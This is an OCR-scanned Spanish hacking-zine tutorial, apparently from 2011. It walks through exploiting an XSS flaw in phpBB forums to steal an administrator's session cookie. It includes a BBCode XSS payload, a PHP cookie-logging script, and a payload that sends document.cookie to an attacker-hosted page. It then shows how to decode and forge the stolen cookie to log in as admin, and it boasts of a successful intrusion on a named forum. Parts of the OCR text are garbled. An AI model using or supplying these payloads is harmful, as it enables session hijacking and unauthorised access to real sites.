Entramos a alguna Web donde muestran las nuevas vulnerabilidades y vemos
gue dice algo sobre un nuevo bug XSS en los foros phpBB (bug muy comdn en

estas aplicaciones)

El bug se explota asi:

[url]lwww.[url=www.s="style="top:expression(eval(this.sss));'sss="window.lo
cation.href="http://www.web.com’;this.sss=null"s="][/ url][/url]’

Si lo Unico que quieres hacer es molestarlo podriamos re direccionarlo a
una Web porno o a tu sitio Web

Pero si se quiere intentar hacer un deface, podriamos intentar robar la
cookie del admin

Para esto necesitamos algunas cosas:

- Un web ho sting

- Tener buena ingenieria social

- Que el foro sea vulnerable

- Que el browser del admin sea vulnerable

Comencemos, primero
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Creamos un archivo de texto con este codigo:

<?

$cookie = $ GETcookie";
$fff = fopen ("archivo.txt","a");
fwrite ($fff , "$coo kie \n");
fclose ($fff );

?>

Lo guardamos como cookies.php y lo subimos a un servidor gratuito A hora

hay que construir el codigo que se va a encargar de robar la cookie
window.location="http://www.tuhosting.com/cookies.php?cookie='+document.coo
kie;

Y apl icamos esto en el bug de los phpBB:
[urllwww.[url=www.s="style="top:expression(eval(this.sss));'sss="http://ww
w.tuhosting.com/cookies.php?cookie="+document.cookie;";this.sss=null s="][/
url][/url]’

Esto es lo que hay que hacer que el admin visualice

Con esto va a ser re direccionado al archivo encargado de robar la cookie
Claro que esto va a ser muy evidente y si el admin tiene algo de

conocimientos cambiara su pass casi inmediatamente, para esto se puede
aplicar unii Frame de borde 0 y posiblemente n unca sabria que paso xD
Aestatodoa si quele mande el codigo en un mp.

Ahora solo falta esperar...

Unas horas después entre al ftp donde habia hospedado el archivo

cookies.php y para mi suerte ahora existia un archivo con el nombre

archivo.txt

Si, ese archivito es la cookie del admin =)
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Lo descargue me puse a revisarlo y era algo como esto:

s:11:"autologinid"/s:32:"d9ee0d1e7dd4e8993f097d1c3d6a3e54"/s:6:"userid"/s:1
1"

s:11:"autologinid"/s:32:"d9ee0d1e7dd4e8993f097d1c3d6a3e54"/s:6:"userid"/s: 1
1"

foroszonavirus_data%0Aa%3A2%3A%7Bs%3A11%3A%22autologinid
%22%3Bs%3A32%3A%?2213ac97aada67bc8514a2bccf76763063%22%3Bs%3A6%3A%22userid
%22%3Bs%3A3%3A%22500%22%3B%7D%0Aforos.zonavirus.com
%2F%0A1536%0A1893476224%0A29820006%0A61865024%0A29746581%0A*%0A

La cookie esta encriptada, asi que hay que buscarse un urldecode hay muchos
en lared.

Una vez que lo encontramos hay que decodificarla y ahora sale algo como
esto:

foroszonavirus_data
a:2:{s:11:"autologinid";s:32:"13ac97aada67bc8514a2bccf76763063";s:6:"u serid
"s:3:"500";}

foros.zonavirus.com/

1536

1893476224

29820006

61865024

29746581

*

Ahora hay que cambiar los datos por los que recogimos de la cookie del
admin cambiamos el hash por el del admin y donde dice user id cambiamos el
500 porun 1

Ojo donde dice s:3: cambiamos el 3 por un 1 ese namero varia dependiendo el
namero de caracteres que tenga la id del usuario.

Ahora que ya modificamos volemos a encriptar la cookie por el método de

urlencode:

foroszonavirus_data%0Aa%3A2%3A%7Bs%3A11%3A%?22autologinid
%22%3Bs%3A32%3A%22d9ee0d1e7dd4e8993f097d1c3d6a3e54%22%3Bs%3A6%3A%22userid%
2%3Bs%3A1%3A%221%22%3B%7D%0A
foros.zonavirus.com%2F%0A1536%0A1893476224%0A29820006%0A61865024%0A29746581
%0A*%0A
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Borramos el contenido anterior del txt usuario@foros.zonavirus y pon emos el
cbdigo de la cookie falsificada y le damos en guardar.

Ahora abrimos el navegador y entramos al foro y....
ohhhh estoy logueado como el admin!!!!

Virus - Antivirus - Spyware -
HijackThis - HOAX

Editar Borrar Subir Bajar

Foro Virus - Cuentanos tu
problema

¢tu ordenador va lento, PR
pierdes la conexion a internet, 5gg0 31963 Editar Borrar Subir
se reinicia solo, salen errores = e Baijar
continuamente.... este es tu

foro para tu problemas con los

¥irus

10S

Sincronizé

Soluciones a los problemas

¥ Virus mas comunes _ subir

-ién Pasos para la deteccion y 115 123 Editar Borrar Batar
eliminacion de los virus, mas eajar

peligrosos y pesados.

Sincronizée

Foro S
Los Spyware o archivos

espias son unas diminutas Sub

aplicaciones cuyo objetivo es 1539 gg39 Editar Borrar o Sincronizé
o espiar tus habitos, — EEEESSS
on preguntamos te ayudaremaos

a solucionar tu problemas de

Esa es la forma mas dificil

Hay otra forma que seria loguearnos en el foro ¢ on nuestro user y password
con la opcion recordar contrasefia activada

Y descargamos el software, Internet Explorer Cookies Viewer (IECV) o con la
ayuda de alguna extension para FF que permita editar cookies

Lo ejecutamos y aparecen todas las cookies busc amos la del foro y hacemos
las modificaciones necesarias guardamos los cambios y nos posicionamos

sobre el nombre de la cookie, un click derecho y le damos en "abrir

website"

Si lo hicieron bien deberian estar logueados como el admin.
Otra forma seria ed itando las cabeceras con el Achilles , en el momento en

gue nuestro browser manda la informacién de nuestro md5 e id, cambiarlos
por los del admin y deberia loguearlos como el admin =)
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Ya que al parecer el foro era una version antigua pude entrar al panel de
administrador (en las versiones mas nuevas, pide una autentificacion al
momento de entrar al panel de admin)

EN EL PROXIMO NUMERO SE EXPLICARAN LOS OTROS METODOS ASI QUE NOS VEMOS.

Vulcano | World- Intrusion 2011
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